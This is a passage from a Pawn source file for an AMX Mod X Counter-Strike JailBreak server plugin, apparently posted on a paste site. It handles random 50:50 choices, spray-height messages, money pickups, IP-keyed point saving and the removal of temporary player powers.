  3634. switch(random_num(1,10))
  3635. {
  3636. case 1,2,3,5,7,9: { // 40 : 60
  3637. Show_Choose = 2
  3638. set_hudmessage(255, 0, 0, -1.0, 0.42, 0, 10.0, 10.0)
  3639. client_cmd(0, "spk ^"Extreme-Jail/5050_no.wav^"")
  3640. }
  3641. case 4,6,8,10: { // 60 : 40
  3642. Show_Choose = 1
  3643. set_hudmessage(0, 0, 255, -1.0, 0.42, 0, 10.0, 10.0)
  3644. client_cmd(0, "spk ^"Extreme-Jail/5050_yes.wav^"")
  3645. }
  3646. }
  3647. show_hudmessage(0, "The 50:50 Choose %s", Show_Choose == 1 ? "Yes" : "No")
  3648. Show_Choose = 0
  3649. }
  3650.  
  3651. public EventSpray( )
  3652. {
  3653. new iPlayer = read_data(2), iOrigin[3]
  3654. iOrigin[0] = read_data(3)
  3655. iOrigin[1] = read_data(4)
  3656. iOrigin[2] = read_data(5)
  3657. new Float:vecOrigin[3]
  3658. IVecFVec(iOrigin, vecOrigin)
  3659.  
  3660. new Float:vecDirection[3]
  3661. velocity_by_aim(iPlayer, 5, vecDirection)
  3662.  
  3663. new Float:vecStop[3]
  3664. xs_vec_add(vecOrigin, vecDirection, vecStop)
  3665. xs_vec_mul_scalar(vecDirection, -1.0, vecDirection)
  3666. new Float:vecStart[3]
  3667. xs_vec_add( vecOrigin, vecDirection, vecStart)
  3668. engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
  3669. get_tr2(0, TR_vecPlaneNormal, vecDirection)
  3670. vecDirection[2] = 0.0
  3671. xs_vec_normalize( vecDirection, vecDirection)
  3672. xs_vec_mul_scalar( vecDirection, 5.0, vecDirection)
  3673. xs_vec_add(vecOrigin, vecDirection, vecStart)
  3674. xs_vec_copy(vecStart, vecStop)
  3675. vecStop[2] -= 9999.0
  3676. engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
  3677. get_tr2(0, TR_vecEndPos, vecStop)
  3678. new szName[32]
  3679. get_user_name(iPlayer, szName, charsmax( szName))
  3680. if(g_iSprayMessages)
  3681. ColorChat(0, "^4%s sprayed^4 %.1f units^1 above the^3 ground", szName, (vecStart[2] - vecStop[2]))
  3682. else
  3683. ColorChat(iPlayer, "You have sprayed^4 %.1f units^1 above the^3 ground", (vecStart[2] - vecStop[2]))
  3684.  
  3685. }
  3686.  
  3687. public ShowFiveSeconds(id)
  3688. {
  3689. new SecVoice[21], name[33]
  3690. num_to_word(timer, SecVoice, 20)
  3691.  
  3692. client_cmd(0, "spk ^"vox/%s seconds^"", SecVoice)
  3693. get_user_name(id, name, 32)
  3694. set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
  3695. if(Show_Choose > 0)
  3696. show_hudmessage(0, "The 50:50 will started in %d seccond^nBy %s", timer, name)
  3697. else
  3698. show_hudmessage(0, "The First writes will started in %d seccond^nBy %s", timer, name)
  3699. timer--
  3700. }
  3701. /* ---------------------------------------------------
  3702. * ------------------ TASKS -------------------------*/
  3703. public advert180() {
  3704. set_dhudmessage(0, 255, 255, -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
  3705. show_dhudmessage(0, "BeatTheB JailBreak # Game-Serv.Co.iL")
  3706. client_cmd(0, "echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^"")
  3707. }
  3708. public advert150() ColorChat(0, "^x04Roze server^x04 | ^x01Skype:haim.gameserv^x01 | ^x04Telephone:0542027038^x04 | ^x01Tkashro ahshav^x01!!!")
  3709.  
  3710. public make_money(id,Float:velo[]) {
  3711. new Float:origin[3]
  3712. new Float:angles[3]
  3713. new Float:mins[3] = {-2.79, -0.0, -6.14}
  3714. new Float:maxs[3] = {2.42, 1.99, 6.35}
  3715. new newent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target"))
  3716.  
  3717. if(!is_user_alive(id)) {
  3718. velo[0] = random_float(1.0,150.0)
  3719. velo[1] = random_float(1.0,150.0)
  3720. velo[2] = random_float(1.0,150.0)
  3721. } else
  3722. velo[2] += 100
  3723. pev(newent,pev_angles,angles)
  3724. angles[1] += random_num(1,360)
  3725. pev(id,pev_origin,origin)
  3726. set_pev(newent, pev_origin, origin)
  3727. set_pev(newent, pev_classname, "pdm_money")
  3728. engfunc(EngFunc_SetModel, newent, model)
  3729. engfunc(EngFunc_SetSize,newent,mins,maxs)
  3730. set_pev(newent,pev_angles,angles)
  3731. set_pev(newent, pev_solid, SOLID_TRIGGER)
  3732. set_pev(newent,pev_movetype,MOVETYPE_TOSS)
  3733. set_pev(newent, pev_velocity,velo)
  3734. engfunc(EngFunc_DropToFloor,newent)
  3735.  
  3736. moneybox[newent]=2
  3737. return FMRES_IGNORED
  3738. }
  3739.  
  3740. public player_Touch(touched, toucher) {
  3741.  
  3742. if(pev_valid(touched) && is_user_alive(toucher) && can_pickup[toucher])
  3743. {
  3744. new classname[32]
  3745. pev(touched, pev_classname, classname, sizeof classname - 1)
  3746. if(equali(classname, "pdm_money")) {
  3747. playerpoints[toucher] += moneybox[touched]
  3748. client_cmd(toucher,"spk %s",money_sound1)
  3749. if(pev_valid(touched))
  3750. engfunc(EngFunc_RemoveEntity,touched)
  3751. screen_fade(toucher)
  3752. }
  3753. }
  3754. return FMRES_IGNORED
  3755. }
  3756.  
  3757. public screen_fade(id) {
  3758. message_begin(MSG_ONE, g_MsgScreenFade, {0,0,0}, id)
  3759. write_short(1<<12)
  3760. write_short(1<<12)
  3761. write_short(1<<12)
  3762. write_byte(0)
  3763. write_byte(200)
  3764. write_byte(0)
  3765. write_byte(20)
  3766. message_end()
  3767. }
  3768.  
  3769. public EventStatusValue(const id) {
  3770. new iType = read_data(1), iData = read_data(2)
  3771. switch(iType) {
  3772. case 1: g_bFriend = bool:(iData == 1)
  3773. case 2: {
  3774. new szMessage[99]
  3775. formatex(szMessage, 98, g_bFriend ? "1 %%c1: %%p2 - %%h: %%i3%%%% - points: %i%s" : "1 %%c1: %%p2 - points: %i%s", playerpoints[iData], is_user_admin(iData) ? " (VIP)" : "")
  3776.  
  3777. message_begin(MSG_ONE_UNRELIABLE, g_iMsgStatusText, _, id)
  3778. write_byte(0)
  3779. write_string(szMessage)
  3780. message_end()
  3781. }
  3782. }
  3783. }
  3784. /* ---------------------------------------------------
  3785. * ------------------ STOCK --------------------------*/
  3786. stock SaveData(index)
  3787. {
  3788. if(playerpoints[index] <= 1500) {
  3789. gVault = nvault_open("JailBreak-Wows_shop")
  3790.  
  3791. if(gVault == INVALID_HANDLE)
  3792. set_fail_state("[ BeatTheB Jail ] nValut ERROR: =-> Invalid-Handle")
  3793. new gIP[33]
  3794. get_user_ip(index, gIP, 32)
  3795.  
  3796. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  3797.  
  3798. formatex(vData, charsmax(vData), "%d", playerpoints[index])
  3799. nvault_set(gVault, vKey, vData)
  3800. nvault_close(gVault)
  3801. } else {
  3802. gVault = nvault_open("JailBreak-Wows_shop")
  3803.  
  3804. if(gVault == INVALID_HANDLE)
  3805. set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
  3806. new gIP[33]
  3807. get_user_ip(index, gIP, 32)
  3808.  
  3809. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  3810.  
  3811. formatex(vData, charsmax(vData), "1500")
  3812. nvault_set(gVault, vKey, vData)
  3813. nvault_close(gVault)
  3814. }
  3815. }
  3816.  
  3817. stock LoadData(index)
  3818. {
  3819. gVault = nvault_open("JailBreak-Wows_shop")
  3820.  
  3821. if(gVault == INVALID_HANDLE)
  3822. set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
  3823. new gIP[33]
  3824. get_user_ip(index, gIP, 32)
  3825.  
  3826. formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
  3827. playerpoints[index] = nvault_get(gVault, vKey)
  3828. nvault_close(gVault)
  3829. }
  3830.  
  3831. stock Punch_View(id, Float:ViewAngle[3])
  3832. entity_set_vector(id, EV_VEC_punchangle, ViewAngle)
  3833. public RemoveCam(id) {
  3834. cs_reset_user_model(id)
  3835. ColorChat(id, "You're ^3Model^4 is now reset.")
  3836. }
  3837. public RemoveSpeed(id) {
  3838. ResetMaxspeed(id)
  3839. ColorChat(id, "You're ^3Speed^4 is now normal.")
  3840. }
  3841. public RemoveGravity(id) {
  3842. entity_set_float(id, EV_FL_gravity, 1.0)
  3843. ColorChat(id, "You're ^3Gravity^4 is now normal.")
  3844. }
  3845. public RemoveStealth(id) {
  3846. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255)
  3847. ColorChat(id, "You are now^3 visible.")
  3848. }
  3849. public RemoveGodmode(id) {
  3850. fm_set_user_godmode(id)
  3851. ColorChat(id, "You're ^3Godmode^4 is now 0.")
  3852. }
  3853. public RemoveNoclip(id) {
  3854. fm_set_user_noclip(id)
  3855. ColorChat(id, "You're ^3Noclip^4 is now 0.")
  3856. }
  3857. public RemoveFootsteps(id) {
  3858. footstep[id] = false
  3859. ColorChat(id, "Now Hear your ^3footsteps^1.")
  3860. }
  3861. public ShowSong(id) client_cmd(id, "spk ^"Extreme-Jail/JB_Connect.wav^"" );
  3862. public spksecond() client_cmd(0, "spk ^"vox/seconds^"")
  3863. public reset_pick(id) can_pickup[id] = true
  3864. public _ShowDelay(id) --send_delay[id]
  3865.  
  3866. stock ColorChat(index, const Msg[], {Float, Sql, Result,_}:...) {
  3867. new Buffer[190], Buffer2[192]
  3868. formatex(Buffer2, sizeof(Buffer2)-1, "^3[^1 ליי'ג ^3]^1 %s", Msg)
  3869. vformat(Buffer, sizeof(Buffer)-1, Buffer2, 3)
  3870. if(!index) {
  3871. for (new i = 1; i <= g_max_clients; i++) {
  3872. if(!is_user_connected(i)) continue
  3873. message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, i)
  3874. write_byte(i)
  3875. write_string(Buffer)
  3876. message_end()
  3877. }
  3878. } else {
  3879. if(!is_user_connected(index)) return
  3880. message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, index)
  3881. write_byte(index)
  3882. write_string(Buffer)
  3883. message_end()
  3884. }
  3885. }
  3886.  
  3887. print_message(id, msg[]) {
  3888. message_begin(MSG_ONE, g_iMsgSayText, {0,0,0}, id)
  3889. write_byte(id)
  3890. write_string(msg)
  3891. message_end()
  3892. }
  3893.  
  3894. /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
  3895. *{\\ rtf1\\ fbidis\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil\\ fcharset0 Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ ltrpar\\ lang14337\\ f0\\ fs16 \n\\ par }
  3896. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement